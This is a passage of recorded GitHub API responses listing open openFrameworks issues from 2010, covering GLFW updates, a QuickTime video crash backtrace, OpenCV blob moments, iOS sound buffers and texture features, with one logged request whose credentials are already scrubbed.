","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2010-05-25T14:54:52Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":205935,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:58:22Z","body":"http://www.glfw.org/release-2.6.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/193","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":193,"html_url":"https://github.com/openframeworks/openFrameworks/issues/193","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"look at glfw - just got updated","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-05-23T21:04:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":204247,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T19:20:16Z","body":"I had the L.A.S.E.R. tag software up and running great on my new MacBook Pro but recently my computer did a software update and now something is wrong and I can't properly use the program. I have snow leopard 10.6.3 OS. I'm not totally sure if it was the auto update that caused the issue but it seems like it stopped working after the update. Below I listed the suspected updates. Seems weird to me 2 digital camera RAW updates.\r\n\r\n3/27/10 Digital Camera RAW update 2.7\r\n3/27/10 Safari 4.0.5\r\n3/27/10 Digital Camera RAW update 3.1\r\n3/27/10 iMovie update 8.0.6\r\n\r\n0 com.apple.QuickTime \t0x9408e179 QTMLGrabMutex + 18\r\n1 com.apple.QuickTime \t0x9421b6a3 QTWorkContextCopyForMediaContextID + 28\r\n2 ...uickTimeStreaming.component\t0x14f77c15 HTTPDhlr_CheckForFatalError + 254\r\n3 ...uickTimeStreaming.component\t0x14f77cc6 HTTPDhlr_ReadSYNC + 165\r\n4 ...uickTimeStreaming.component\t0x14f7ab01 HTTPDataHandler_ScheduleData64 + 452\r\n5 ...ple.CoreServices.CarbonCore\t0x949a2d05 callComponentStorage_4444444 + 63\r\n6 ...ple.CoreServices.CarbonCore\t0x949976f0 CallComponentFunctionCommonWithStorage(char**, ComponentParameters*, long (*)(), unsigned long) + 54\r\n7 ...uickTimeStreaming.component\t0x14f784c7 HTTPDataHandler_ComponentDispatch + 110\r\n8 ...ple.CoreServices.CarbonCore\t0x9498fd87 CallComponentDispatch + 29\r\n9 com.apple.QuickTime \t0x94093540 DataHScheduleData64 + 73\r\n10 com.apple.QuickTime \t0x940b5704 NewMovieFromDataRefPriv_priv + 8296\r\n11 com.apple.QuickTime \t0x9419e613 NewMovieFromDataRef_priv + 54\r\n12 com.apple.QuickTime \t0x942fb95e NewMovieFromDataRef + 52\r\n13 com.yourcompany.openFrameworks\t0x0000aa2a createMovieFromURL(std::string, MovieType**&) + 112\r\n14 com.yourcompany.openFrameworks\t0x0000abe2 ofVideoPlayer::loadMovie(std::string) + 182\r\n15 com.yourcompany.openFrameworks\t0x0002fe03 appController::setup() + 2169\r\n16 com.yourcompany.openFrameworks\t0x00002864 ofRunApp(ofSimpleApp*) + 170\r\n17 com.yourcompany.openFrameworks\t0x0003dc06 main + 90\r\n18 com.yourcompany.openFrameworks\t0x00001da2 _start + 216\r\n19 com.yourcompany.openFrameworks\t0x00001cc9 start + 41","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/182","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":182,"html_url":"https://github.com/openframeworks/openFrameworks/issues/182","assignee":null,"title":"ofVideoPlayer - createMovieFromURL broken in 10.6.3 with specific updates?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-04-15T16:20:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":172424,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-04-14T15:48:19Z","body":"can we add moments to the blob. \n\nadd CvMoments moments to blob class\n\nand in ofxCvContourFinder.cpp line 119\n\n\t blobs[i].moments.m00 = myMoments->m00;\n\t\tblobs[i].moments.m10 = myMoments->m10;\n\t\tblobs[i].moments.m01 = myMoments->m01;\n\t\tblobs[i].moments.m20 = myMoments->m20;\n\t\tblobs[i].moments.m11 = myMoments->m11;\n\t\tblobs[i].moments.m02 = myMoments->m02;\n\t\tblobs[i].moments.m30 = myMoments->m30;\n\t\tblobs[i].moments.m21 = myMoments->m21;\n\t\tblobs[i].moments.m12 = myMoments->m12;\n\t\tblobs[i].moments.m03 = myMoments->m03;\n\t\t\n\t\tblobs[i].moments.mu20 = myMoments->mu20;\n\t\tblobs[i].moments.mu11 = myMoments->mu11;\n\t\tblobs[i].moments.mu02 = myMoments->mu02;\n\t\tblobs[i].moments.mu30 = myMoments->mu30;\n\t\tblobs[i].moments.mu21 = myMoments->mu21;\n\t\tblobs[i].moments.mu12 = myMoments->mu12;\n\t\tblobs[i].moments.mu03 = myMoments->mu03;\n\n\nthis is good for finding the angle and other info about the contour.\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/181","comments":2,"milestone":null,"number":181,"html_url":"https://github.com/openframeworks/openFrameworks/issues/181","assignee":null,"title":"ofxCvBlobs","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2010-04-14T15:42:22Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":171615,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T15:04:04Z","body":"Buffer is 512 but should be 276 ( or something )\r\nSetting it to 256 says the buffer size should be 176 ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/178","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":178,"html_url":"https://github.com/openframeworks/openFrameworks/issues/178","assignee":null,"title":"iPhone sound bug with 1st gen ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-04-11T10:18:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":169176,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T19:18:14Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/175","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":175,"html_url":"https://github.com/openframeworks/openFrameworks/issues/175","assignee":null,"title":"bring examples up to date - make sexy","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"}],"closed_at":null,"created_at":"2010-04-06T19:44:04Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166214,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T19:14:03Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/174","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":174,"html_url":"https://github.com/openframeworks/openFrameworks/issues/174","assignee":null,"title":"vertical sync on for mac by default","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-04-06T19:43:21Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166212,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:58:10Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/173","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":173,"html_url":"https://github.com/openframeworks/openFrameworks/issues/173","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"ofAlphaBlending default on","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-04-06T19:42:34Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166211,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:57:50Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/172","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":172,"html_url":"https://github.com/openframeworks/openFrameworks/issues/172","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"rgb + alpha -> blit to texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-04-06T19:40:28Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166209,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:57:36Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/171","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":171,"html_url":"https://github.com/openframeworks/openFrameworks/issues/171","assignee":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"title":"sexy shader example","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"}],"closed_at":null,"created_at":"2010-04-06T19:38:51Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166208,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-03T19:40:33Z","body":"can we do it?\r\nwe need cross platform:\r\nplayback \r\nstreaming\r\npitch\r\npan \r\nmultiplay \r\n\r\nfor us to be compatible with what exists. \r\nOpenAL seems like the best choice.\r\nWhat other options are there?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/167","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","number":8,"title":"0080 Release","due_on":"2013-01-01T08:00:00Z","closed_issues":0,"open_issues":3,"created_at":"2012-02-25T01:34:28Z","state":"open","description":"","id":88731},"number":167,"html_url":"https://github.com/openframeworks/openFrameworks/issues/167","assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"title":"replace fmod","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-04-06T12:13:31Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165898,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:56:41Z","body":"i have this working for 3d with selection buffer although it's meant to be slow i haven't had any problems","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/160","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":160,"html_url":"https://github.com/openframeworks/openFrameworks/issues/160","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"ofIsUnderMouse?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2010-04-05T21:39:19Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":165537,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:54:57Z","body":"Theo: I have this code uses the selection buffer. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/153","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":153,"html_url":"https://github.com/openframeworks/openFrameworks/issues/153","assignee":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"title":"ofIsOnScreen - ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2010-04-05T18:49:10Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165409,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=14 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4930'), ('content-length', '13008'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('Link', '; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"a63cf45ee23c003caf863065072ec4bb"'), ('date', 'Tue, 29 May 2012 19:27:23 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-02-29T11:13:10Z","body":"check out - http://www.openframeworks.cc/forum/viewtopic.php?p=19169#p19169\r\npossible integration into core. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/140","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":140,"html_url":"https://github.com/openframeworks/openFrameworks/issues/140","assignee":null,"title":"texture compression and mipmaps for of texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-04-02T19:43:00Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":163959,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T16:15:52Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=10&t=3319","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/128","comments":4,"milestone":null,"number":128,"html_url":"https://github.com/openframeworks/openFrameworks/issues/128","assignee":null,"title":"ofxTCPServer doesn't manage connected clients correcly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-02-14T09:40:13Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"arturoc","id":48240},"id":132671,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T12:31:57Z","body":"Something that easily converts vector direction to openGL degrees?\r\nI find myself constantly trying to guess 270 - atan2(y, x)*RAD_TO_DEG ..... etc\r\nTo rotate something along a vector. \r\n\r\nMight be good to have it be aware of the GL world orientation - or have it so you pass in the up \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/126","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":126,"html_url":"https://github.com/openframeworks/openFrameworks/issues/126","assignee":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"title":"ofATan2GL / ofVecToGL 